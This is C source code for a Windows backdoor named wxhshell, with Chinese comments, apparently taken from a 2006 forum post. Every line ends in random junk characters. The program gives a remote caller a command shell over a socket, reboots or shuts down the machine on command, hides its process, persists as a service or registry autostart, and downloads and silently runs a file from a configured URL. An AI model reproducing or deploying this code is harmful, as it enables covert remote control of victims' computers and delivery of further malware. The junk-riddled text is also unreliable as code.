    switch(cmd[0]) { t,P +~ A  
  WqU$cQD"  
  // 帮助 5O%}.}n  
  case '?': { 2Z..~1r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IPE(  
    break; 55N/[{[  
  } a. 5`Q2  
  // 安装 ~JT{!wcE}o  
  case 'i': { Z#W`0G>'  
    if(Install()) L,X6L @Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9k"nx ,"  
    else +~/zCJ;F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \J\1i=a-=  
    break; CblL1q8  
    } f%auz4CZz  
  // 卸载 Ap>n4~  
  case 'r': { !! K=v7M  
    if(Uninstall()) ,|c_l)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \S2'3SD d/  
    else Wj*6}N/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wy&*6>.  
    break; O "h+i>|l  
    } n:!J3pR  
  // 显示 wxhshell 所在路径 I2l'y8)d  
  case 'p': { a+BA~|u^  
    char svExeFile[MAX_PATH]; Em.?  
    strcpy(svExeFile,"\n\r"); W]*wxzf!5z  
      strcat(svExeFile,ExeFile); wYawG$@_  
        send(wsh,svExeFile,strlen(svExeFile),0); `")  I[h  
    break; mg;AcAS.o,  
    } i\eykYc,  
  // 重启 XAFTLNV>  
  case 'b': { g%[Ruugu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IH0^*f  
    if(Boot(REBOOT)) 9VY_gi=vL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ohyUvxvj  
    else { p]g/iLDZ  
    closesocket(wsh); 2I4P":q  
    ExitThread(0); 1-[{4{R  
    } (jyJ-qe  
    break; MR6vr.~  
    }  JuI,wA  
  // 关机 q.X-2jjpx:  
  case 'd': { Zj^H3 h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ek. j@79  
    if(Boot(SHUTDOWN)) RGKJO_*J2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[7u>RJ  
    else { K^vMIoh  
    closesocket(wsh); z'I0UB#  
    ExitThread(0); NV;tsuA|  
    } \^:f4ZT  
    break; Te13Af~  
    } gy[uq m_ T  
  // 获取shell \ a<Ye T  
  case 's': { ?d%}K76V<  
    CmdShell(wsh); ixkg,  
    closesocket(wsh); 0nd<6S+fs  
    ExitThread(0); MLb\:Ihy  
    break; G j:|  
  } u@3w$"Pv1  
  // 退出 ZtT`_G&  
  case 'x': { pL-$Np] V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ={oO9.9  
    CloseIt(wsh); ]_,~q@r$  
    break; *]=)mM#  
    } m ;vNA  
  // 离开 5f5`7uVJF  
  case 'q': { s_8! x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3IxT2@H)  
    closesocket(wsh); iB`m!g6$  
    WSACleanup(); oAx0$]+%V)  
    exit(1); WQ]pg "  
    break; ] ge-b\  
        } `F@yZ4L3S  
  } M/qiA.C@W  
  } N@>S>U8C  
EIfrZg7R  
  // 提示信息 o_5@R+&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s'^#[%EgB  
} &Hqu`A/^  
  } rG]Xgq"   
_V?Q4}7d/  
  return; ( FRf.mv{  
} l]Sui_+ZU  
\NqC i'&  
// shell模块句柄 (65p/$Vh  
int CmdShell(SOCKET sock) 2S4z$(x3  
{ V_QVLW  
STARTUPINFO si; k|D!0^HE[  
ZeroMemory(&si,sizeof(si)); )wRD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; { 1+H\ (v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G Xl?Zg  
PROCESS_INFORMATION ProcessInfo; [`lAc V<  
char cmdline[]="cmd"; ;rKYWj>IR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AQ5v`xE4  
  return 0; ao!r6:&v$e  
} 2o/`8+eJu  
Fqv5WoYVf  
// 自身启动模式 F8I <4S  
int StartFromService(void) @n(In$  
{ ^q` *!B 9@  
typedef struct kes'q8k  
{ $%-?S]6)  
  DWORD ExitStatus; Ymu=G3-  
  DWORD PebBaseAddress; 11sW$@xs 9  
  DWORD AffinityMask; u/f&Wq/  
  DWORD BasePriority; p3o?_ !Z  
  ULONG UniqueProcessId; _u>>+6,p  
  ULONG InheritedFromUniqueProcessId; |*5nr5c_L  
}   PROCESS_BASIC_INFORMATION; gib]#n1!p  
kR ]SxG9  
PROCNTQSIP NtQueryInformationProcess; CmOb+:4@K  
@gc"-V*-/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EoeEg,'~F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EiUV?Gvz  
P$Q&xN<#)  
  HANDLE             hProcess; ~aG-^BAS  
  PROCESS_BASIC_INFORMATION pbi; (Nahtx!/9  
hd;I x%tq>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Biwdb  
  if(NULL == hInst ) return 0; $5r,Q{;$  
O@rb4(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pg)g&ifKl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !*gAGt_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >``GDjcJ  
,GIqRT4K  
  if (!NtQueryInformationProcess) return 0; YP,PJnJU8  
t^5_;sJQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bl];^W^P  
  if(!hProcess) return 0; 6pR#z@,  
aw1J#5j`n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HV.7IyBA^  
X;:xGZ-oY  
  CloseHandle(hProcess); +kL(lBv'  
dk/*%a +  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N}G(pq}  
if(hProcess==NULL) return 0; }o- P   
8B/9{8  
HMODULE hMod;  /GUuu  
char procName[255]; w)n]}k  
unsigned long cbNeeded; 8A.7=C' z  
'wrpW#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tqCg<NH.!m  
[@Y q^.6t  
  CloseHandle(hProcess); C6~dN& q  
bobkT|s^s  
if(strstr(procName,"services")) return 1; // 以服务启动 I:<R@V<~#  
m=B0!Z1xx  
  return 0; // 注册表启动 !++62Lf  
} 8zWPb  
[Gy'0P(EQ  
// 主模块 )6^xIh  
int StartWxhshell(LPSTR lpCmdLine) t8 "-zd8  
{ "lf3hWGw  
  SOCKET wsl; _ZBR<{  
BOOL val=TRUE; .~ lt+M9  
  int port=0; qI*1+R}  
  struct sockaddr_in door; :j<JZs>`R  
ZiYzsn  
  if(wscfg.ws_autoins) Install(); 0\@|M@X=  
C/Bx_j((  
port=atoi(lpCmdLine); ot#kU 8f  
79g>7<vp  
if(port<=0) port=wscfg.ws_port; 0f/!|c  
, % jTXb  
  WSADATA data; oH0F9*+W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L"%eQHEC&  
z 5+]Z a~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +lJ]-U|P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8T )ELhTj  
  door.sin_family = AF_INET; JSK5x(GlH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -U[`pUY?f  
  door.sin_port = htons(port); y|{?>3  
\'Kj.EO{?$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $#3<rcOq  
closesocket(wsl); z|)1l`  
return 1; [Od9,XBa  
} .fY<"2g  
h##?~!xDmq  
  if(listen(wsl,2) == INVALID_SOCKET) { ^!_7L4&y  
closesocket(wsl); ':)j@O3-  
return 1; PJ:5Lb<  
} $ywh%OEH  
  Wxhshell(wsl); E=lfg8yb:  
  WSACleanup(); b2%bgs  
]},Q`n>$  
return 0; J&65B./mD9  
wg0.i?R-]  
} 9XvM%aHs:  
-Bv1}xf=6  
// 以NT服务方式启动 dt&Lwf/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l(\8c><m  
{ ]f-'A>MC  
DWORD   status = 0; 00a<(sS;  
  DWORD   specificError = 0xfffffff; #'J7Wy  
L$c%u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f?^Oy!1]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y"p-8RVk{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B\ >}X_\4  
  serviceStatus.dwWin32ExitCode     = 0; JO{- P  
  serviceStatus.dwServiceSpecificExitCode = 0; X]U"ru{1q  
  serviceStatus.dwCheckPoint       = 0;  b(-t)5^}  
  serviceStatus.dwWaitHint       = 0; qZ_fQ@   
` +BaDns  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [3sxzU!t~  
  if (hServiceStatusHandle==0) return; T xxB0  
nk$V{(FJ  
status = GetLastError(); o+Ti$`2<O7  
  if (status!=NO_ERROR) ur,"K' w  
{ |SukiXJZF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f<4q]HCa  
    serviceStatus.dwCheckPoint       = 0; )X!DCL:16  
    serviceStatus.dwWaitHint       = 0; | 4oM+n;Y  
    serviceStatus.dwWin32ExitCode     = status; J~'Q^O3@  
    serviceStatus.dwServiceSpecificExitCode = specificError; uNZ>oP>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ R^N`V   
    return; XAxI?y[c  
  } `m;"I  
Q[Sd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s5aOAyb*w  
  serviceStatus.dwCheckPoint       = 0; (VPM>ndkw  
  serviceStatus.dwWaitHint       = 0; K(KP3Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5J\|gZQF  
}  [Ro0eH  
/Q>{YsRRB  
// 处理NT服务事件,比如:启动、停止 3/IWO4?_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dzE Q$u/I  
{ wt=>{JM  
switch(fdwControl) E(3+o\w  
{ &G|jzXE  
case SERVICE_CONTROL_STOP: YEPG[W<kg  
  serviceStatus.dwWin32ExitCode = 0; 5OW8G][  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b|8>eY  
  serviceStatus.dwCheckPoint   = 0; ,#jhKnk2e  
  serviceStatus.dwWaitHint     = 0; y_4krY|Zx  
  { #JR,C -w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &c?hJ8"  
  } Ed0>R<jR9  
  return; q|$>H6H4b  
case SERVICE_CONTROL_PAUSE: W*rU,F|9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a.&#dxgW[  
  break; E<#4G9O<  
case SERVICE_CONTROL_CONTINUE: ZR-s{2sl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CBnouKc:  
  break; .Lr)~  
case SERVICE_CONTROL_INTERROGATE: G<^]0`"+)t  
  break; )\D40,p  
}; e]*=sp!T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _QMHPRELk  
} r {B,uj"  
0.BUfuuh  
// 标准应用程序主函数 & kjwIg{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fzFvfMAU  
{ R4~zL!7;  
q>|[JJ*6_N  
// 获取操作系统版本 & A9A#It  
OsIsNt=GetOsVer(); #C,f/PXfaB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L^ #<HQ  
,+f0cv4  
  // 从命令行安装 ZYA.1VrM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7=p-A _X  
'D0X?2  
  // 下载执行文件 R|)2Dg  
if(wscfg.ws_downexe) { |N=@E,33  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ 4Y `O  
  WinExec(wscfg.ws_filenam,SW_HIDE); `k}l$ih`X  
} ,8xP8T~Kmv  
Il^ \3T+  
if(!OsIsNt) { BvZ^^IUb  
// 如果时win9x,隐藏进程并且设置为注册表启动 <` p75B  
HideProc(); APtselC  
StartWxhshell(lpCmdLine); 7tfivIj)e  
} ueE?"Hk  
else 4/`h@]8P  
  if(StartFromService()) Y7:Y{7E7  
  // 以服务方式启动 9"HmHy&:E  
  StartServiceCtrlDispatcher(DispatchTable); \Ul.K!b7  
else |DFvZ6}  
  // 普通方式启动 e@,u`{C[  
  StartWxhshell(lpCmdLine); }$0xt'q&  
QLB1:O>  
return 0; g<rKV+$6  
}
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只看该作者 1 发表于: 2006-10-10
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